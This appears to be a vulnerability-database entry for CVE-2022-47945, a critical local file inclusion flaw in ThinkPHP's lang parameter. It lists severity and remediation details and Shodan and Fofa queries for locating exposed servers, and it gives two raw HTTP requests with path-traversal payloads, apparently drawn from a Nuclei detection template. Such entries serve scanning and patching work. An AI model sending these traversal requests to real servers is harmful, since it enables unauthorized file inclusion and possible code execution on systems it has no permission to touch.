| Title | Thinkphp Lang - Local File Inclusion |
|---|---|
| Author | kagamigawa |
| Severity | Critical |
| Impact | This vulnerability can lead to unauthorized access, data leakage, and remote code execution. |
| Remediation | Apply the latest security patches and updates provided by the Thinkphp framework. |
| CVSS Score | 9.8 |
| EPSS Score | 0.89889 |
| CVE ID | CVE-2022-47945 |
| CWE ID | CWE-22 |
| Shodan Query | title:"Thinkphp"http.title:"thinkphp"cpe:"cpe:2.3:a:thinkphp:thinkphp" |
| Fofa Query | header="think_lang"title="thinkphp" |
| Tags | cve cve2022 thinkphp lfi vkev vuln |
ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
GET /?lang=../../thinkphp/base HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-47945.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-47945.pcap
N/AN/A